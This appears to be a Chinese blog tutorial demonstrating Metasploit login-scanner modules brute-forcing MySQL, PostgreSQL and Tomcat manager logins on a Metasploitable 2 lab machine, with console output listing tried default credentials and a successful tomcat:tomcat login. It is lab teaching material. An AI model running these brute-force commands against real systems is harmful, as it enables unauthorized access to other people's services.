本文简要演示使用Metasploit 中的mysql_login、postgresql_login、tomcat_mgr_login模块暴力破解Metasploitable 2 上部署的服务。

Preface

  靶机: Metasploitable 2 下载地址

  攻击机: Kali 2 - xfce

MySQL演示流程

root@kali:~# msfconsole
msf > use auxiliary/scanner/mysql/mysql_login
msf auxiliary(scanner/mysql/mysql_login) > show options

  需要设置几个选项参数:

msf auxiliary(scanner/mysql/mysql_login) > set rhosts 192.168.1.110
rhosts => 192.168.1.110
msf auxiliary(scanner/mysql/mysql_login) > set user_file /root/user.txt
user_file => /root/user.txt
msf auxiliary(scanner/mysql/mysql_login) > set pass_file /root/pass.txt
pass_file => /root/pass.txt

  如下所示:

msf auxiliary(scanner/mysql/mysql_login) > show options

Module options (auxiliary/scanner/mysql/mysql_login):

   Name              Current Setting  Required  Description
---- --------------- -------- -----------
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED yes How fast to bruteforce, from to
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
PASSWORD no A specific password to authenticate with
PASS_FILE /root/pass.txt no File containing passwords, one per line
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.1.110 yes The target address range or CIDR identifier
RPORT yes The target port (TCP)
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
THREADS yes The number of concurrent threads
USERNAME no A specific username to authenticate as
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
USER_AS_PASS false no Try the username as the password for all users
USER_FILE /root/user.txt no File containing usernames, one per line
VERBOSE true yes Whether to print output for all attempts

  MySQL暴力破解使用的用户/密码字典自己提供。

  如下所示:

PostgreSQL演示流程

root@kali:~# msfconsole
msf > use auxiliary/scanner/postgres/postgres_login
msf auxiliary(scanner/postgres/postgres_login) > show options Module options (auxiliary/scanner/postgres/postgres_login): Name Current Setting Required Description
---- --------------- -------- -----------
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED yes How fast to bruteforce, from to
DATABASE template1 yes The database to authenticate against
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
PASSWORD no A specific password to authenticate with
PASS_FILE /usr/share/metasploit-framework/data/wordlists/postgres_default_pass.txt no File containing passwords, one per line
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RETURN_ROWSET true no Set to true to see query result sets
RHOSTS         yes The target address range or CIDR identifier
RPORT yes The target port
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
THREADS yes The number of concurrent threads
USERNAME no A specific username to authenticate as
USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/postgres_default_userpass.txt no File containing (space-seperated) users and passwords, one pair per line
USER_AS_PASS false no Try the username as the password for all users
USER_FILE /usr/share/metasploit-framework/data/wordlists/postgres_default_user.txt no File containing users, one per line
VERBOSE true yes Whether to print output for all attempts

  这里只需要设置目标PostgreSQL的ip地址,USER_FILE和PASS_FILE使用默认进行测试,当然实际环境需要用自己的字典文件。

msf auxiliary(scanner/postgres/postgres_login) > set rhosts 192.168.1.110
rhosts => 192.168.1.110

  如图所示:

Tomcat 演示流程

   Tomcat管理后台http://ip:port/manager/html爆破,不多说。

msf > use auxiliary/scanner/http/tomcat_mgr_login
msf auxiliary(scanner/http/tomcat_mgr_login) > show options
...
msf auxiliary(scanner/http/tomcat_mgr_login) > set rhosts 192.168.1.110
rhosts => 192.168.1.110
msf auxiliary(scanner/http/tomcat_mgr_login) > set rport
rport =>

  需要设置两个重要选项:ip和port, 当然可以也提供自己的密码字典。

  破解过程如下所示:

msf auxiliary(scanner/http/tomcat_mgr_login) > exploit

[-] 192.168.1.110: - LOGIN FAILED: admin:admin (Incorrect)
[-] 192.168.1.110: - LOGIN FAILED: admin:manager (Incorrect)
[-] 192.168.1.110: - LOGIN FAILED: admin:role1 (Incorrect)
[-] 192.168.1.110: - LOGIN FAILED: admin:root (Incorrect)
[-] 192.168.1.110: - LOGIN FAILED: admin:tomcat (Incorrect)
[-] 192.168.1.110: - LOGIN FAILED: admin:s3cret (Incorrect)
[-] 192.168.1.110: - LOGIN FAILED: admin:vagrant (Incorrect)
[-] 192.168.1.110: - LOGIN FAILED: manager:admin (Incorrect)
[-] 192.168.1.110: - LOGIN FAILED: manager:manager (Incorrect)
[-] 192.168.1.110: - LOGIN FAILED: manager:role1 (Incorrect)
[-] 192.168.1.110: - LOGIN FAILED: manager:root (Incorrect)
[-] 192.168.1.110: - LOGIN FAILED: manager:tomcat (Incorrect)
[-] 192.168.1.110: - LOGIN FAILED: manager:s3cret (Incorrect)
[-] 192.168.1.110: - LOGIN FAILED: manager:vagrant (Incorrect)
[-] 192.168.1.110: - LOGIN FAILED: role1:admin (Incorrect)
[-] 192.168.1.110: - LOGIN FAILED: role1:manager (Incorrect)
[-] 192.168.1.110: - LOGIN FAILED: role1:role1 (Incorrect)
[-] 192.168.1.110: - LOGIN FAILED: role1:root (Incorrect)
[-] 192.168.1.110: - LOGIN FAILED: role1:tomcat (Incorrect)
[-] 192.168.1.110: - LOGIN FAILED: role1:s3cret (Incorrect)
[-] 192.168.1.110: - LOGIN FAILED: role1:vagrant (Incorrect)
[-] 192.168.1.110: - LOGIN FAILED: root:admin (Incorrect)
[-] 192.168.1.110: - LOGIN FAILED: root:manager (Incorrect)
[-] 192.168.1.110: - LOGIN FAILED: root:role1 (Incorrect)
[-] 192.168.1.110: - LOGIN FAILED: root:root (Incorrect)
[-] 192.168.1.110: - LOGIN FAILED: root:tomcat (Incorrect)
[-] 192.168.1.110: - LOGIN FAILED: root:s3cret (Incorrect)
[-] 192.168.1.110: - LOGIN FAILED: root:vagrant (Incorrect)
[-] 192.168.1.110: - LOGIN FAILED: tomcat:admin (Incorrect)
[-] 192.168.1.110: - LOGIN FAILED: tomcat:manager (Incorrect)
[-] 192.168.1.110: - LOGIN FAILED: tomcat:role1 (Incorrect)
[-] 192.168.1.110: - LOGIN FAILED: tomcat:root (Incorrect)
[+] 192.168.1.110: - Login Successful: tomcat:tomcat
[-] 192.168.1.110: - LOGIN FAILED: both:admin (Incorrect)
[-] 192.168.1.110: - LOGIN FAILED: both:manager (Incorrect)
[-] 192.168.1.110: - LOGIN FAILED: both:role1 (Incorrect)
[-] 192.168.1.110: - LOGIN FAILED: both:root (Incorrect)
[-] 192.168.1.110: - LOGIN FAILED: both:tomcat (Incorrect)
[-] 192.168.1.110: - LOGIN FAILED: both:s3cret (Incorrect)
[-] 192.168.1.110: - LOGIN FAILED: both:vagrant (Incorrect)
[-] 192.168.1.110: - LOGIN FAILED: j2deployer:j2deployer (Incorrect)
[-] 192.168.1.110: - LOGIN FAILED: ovwebusr:OvW*busr1 (Incorrect)
[-] 192.168.1.110: - LOGIN FAILED: cxsdk:kdsxc (Incorrect)
[-] 192.168.1.110: - LOGIN FAILED: root:owaspbwa (Incorrect)
[-] 192.168.1.110: - LOGIN FAILED: ADMIN:ADMIN (Incorrect)
[-] 192.168.1.110: - LOGIN FAILED: xampp:xampp (Incorrect)
[-] 192.168.1.110: - LOGIN FAILED: QCC:QLogic66 (Incorrect)
[-] 192.168.1.110: - LOGIN FAILED: admin:vagrant (Incorrect)
[*] Scanned of hosts (% complete)
[*] Auxiliary module execution completed

  注意,其中有一行显示破解成功。

[+] 192.168.1.110: - Login Successful: tomcat:tomcat

  简单演示到这....

最新文章

  1. IE 6 全球分布图 - 中国一枝独秀
  2. My安卓知识4--Media Player called in state 0
  3. java设计模式之抽象工厂模式
  4. jstatd命令
  5. 获取本地IP地址信息
  6. DTCMS中文章增加tags标签和关键词时中文,替换为英文状态,
  7. Eclipse编辑jsp、js文件时,经常出现卡死现象解决汇总
  8. Property cannot be found on forward class object?
  9. html.day01
  10. Accord.Net中决策树
  11. Vue的条件渲染
  12. angular 时间戳转换(星期过滤器)
  13. js获取当前时间:封装js的日期时间
  14. Hadoop2源码分析-RPC探索实战
  15. MySQL各个版本区别及问题总结
  16. 在CentOS7(虚拟机)下通过源码安装Postgresql10以及基本配置
  17. JS使用中碰到的一些问题
  18. 浅谈DNS域名解析
  19. Andrew Ng机器学习第三章——线性回归回顾
  20. 转:Jquery如何获取某个元素前(后)的文本内容?

热门文章

  1. THE ELEMENTS OF C# STYLE
  2. load file within a jar
  3. MySQL一个延迟案例
  4. C++进阶书籍(转)
  5. 题解 P1378 【油滴扩展】
  6. Node.js实战(十一)之Buffer
  7. Fiddler抓包调试前端脚本代码
  8. poj 2485 Highways (最小生成树)
  9. plsql命令行窗口执行脚本打印输出
  10. 大数据入门第十五天——HBase整合:云笔记项目